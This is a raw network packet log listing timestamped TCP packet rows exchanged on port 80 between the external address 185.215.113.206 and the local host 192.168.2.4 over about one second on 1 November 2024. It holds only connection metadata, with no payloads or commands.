Nov 1, 2024 05:52:28.310292959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.310306072 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.310317039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.310338974 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.310372114 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.310934067 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.310945988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.310956955 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.310967922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.310978889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.310983896 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.311009884 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.353950977 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.353961945 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.353971958 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.354053020 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.395086050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.395136118 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.395155907 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.395172119 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.403031111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.403074026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.403083086 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.403084993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.403111935 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.403126001 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.403939009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.403949976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.403961897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.403970957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.403992891 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.404022932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.432697058 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.432790041 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.432826996 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.432837009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.432847023 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.432857990 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.432868004 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.432868958 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.432887077 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.432914019 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.433227062 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.433276892 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.433315039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.433347940 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.433376074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.433418036 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.433485985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.433497906 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.433506966 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.433532000 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.433556080 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.434072018 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.434082031 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.434092045 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.434113026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.434113979 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.434125900 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.434139013 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.434164047 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.478054047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.478065968 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.478080988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.478104115 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.478128910 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.526642084 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.526654005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.526664972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.526689053 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.526695967 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.526700974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.526709080 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.526740074 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.527086020 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.527107954 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.527141094 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.527154922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.527156115 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.527167082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.527200937 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.527210951 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.556185007 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.556199074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.556210041 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.556283951 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.556302071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.556313992 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.556325912 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.556329966 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.556341887 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.556355953 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.556385994 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.556821108 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.556833029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.556843996 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.556871891 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.556886911 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.557153940 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.557164907 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.557174921 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.557209015 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.557224035 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.557229042 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.557236910 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.557249069 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.557260036 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.557260036 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.557280064 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.557298899 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.557960033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.557977915 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.558002949 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.558032036 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.601530075 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.601542950 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.601553917 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.601591110 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.601615906 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.649930000 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.649940968 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.649960995 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.649972916 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.649988890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.650002003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.650011063 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.650043011 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.650460005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.650470972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.650480032 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.650511026 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.650522947 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.679359913 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.679373980 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.679389954 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.679405928 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.679433107 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.679459095 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.679507971 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.679562092 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.679570913 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.679620028 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.679688931 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.679699898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.679711103 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.679734945 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.679744959 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.679745913 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.679783106 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.680279970 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.680294991 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.680305004 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.680329084 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.680347919 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.680533886 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.680577993 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.680613041 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.680624008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.680634022 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.680646896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.680660009 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.680684090 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.724962950 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.724977016 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.724999905 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.725011110 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.725020885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.725054979 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.725121975 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.773380995 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.773392916 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.773403883 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.773442030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.773452997 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.773468971 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.773515940 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.773930073 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.773941040 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.773951054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.773983002 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.774005890 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.802651882 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.802663088 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.802673101 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.802721977 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.802738905 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.802805901 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.802818060 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.802828074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.802840948 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.802851915 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.802854061 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.802879095 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.802891016 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.803354979 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.803365946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.803375959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.803406954 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.803426027 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.803560972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.803608894 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.803694010 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.803704023 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.803754091 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.803776026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.803786993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.803821087 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.804214954 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.804259062 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.804264069 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.804270983 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.804296017 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.804308891 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.848320007 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.848387003 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.848408937 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.848418951 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.848484993 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.848566055 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.848576069 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.848614931 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.896656036 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.896672964 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.896684885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.896747112 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.896787882 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.896877050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.896889925 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.896900892 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.896949053 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.897216082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.897243977 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.897244930 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.897255898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.897308111 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.897321939 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.926059008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.926071882 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.926086903 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.926099062 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.926126957 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.926158905 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.926191092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.926214933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.926230907 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.926235914 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.926244974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.926259041 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.926281929 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.926294088 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.926294088 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.926294088 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.926736116 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.926748991 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.926772118 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.926783085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.926800966 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.926852942 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.927110910 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.927123070 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.927134037 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.927162886 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.927165985 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.927175045 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.927187920 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.927207947 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.927603960 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.927617073 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.927627087 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.927654982 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.927675962 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.971817970 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.971832037 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.971842051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.971910954 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.971947908 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.020011902 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.020023108 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.020035982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.020046949 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.020056009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.020066977 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.020098925 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.020128012 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.020517111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.020525932 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.020534992 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.020569086 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.020581961 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.020617962 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.020627022 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.020637035 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.020673037 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.020684958 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.049206972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049259901 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.049309969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049319983 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049329042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049351931 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.049360991 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.049365044 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049375057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049412012 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.049544096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049554110 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049563885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049572945 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049593925 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.049688101 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.049920082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049941063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049962997 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049969912 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.049973965 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049984932 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.049998045 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.050007105 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.050034046 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.050441027 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.050451040 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.050461054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.050488949 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.050497055 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.050501108 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.050520897 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.050544024 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.050940990 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.050951958 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.050960064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.050997019 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.051007986 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.095259905 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.095278025 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.095288992 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.095331907 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.095350981 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.143342972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.143368959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.143379927 CET	80	49760	185.215.113.206	192.168.2.4
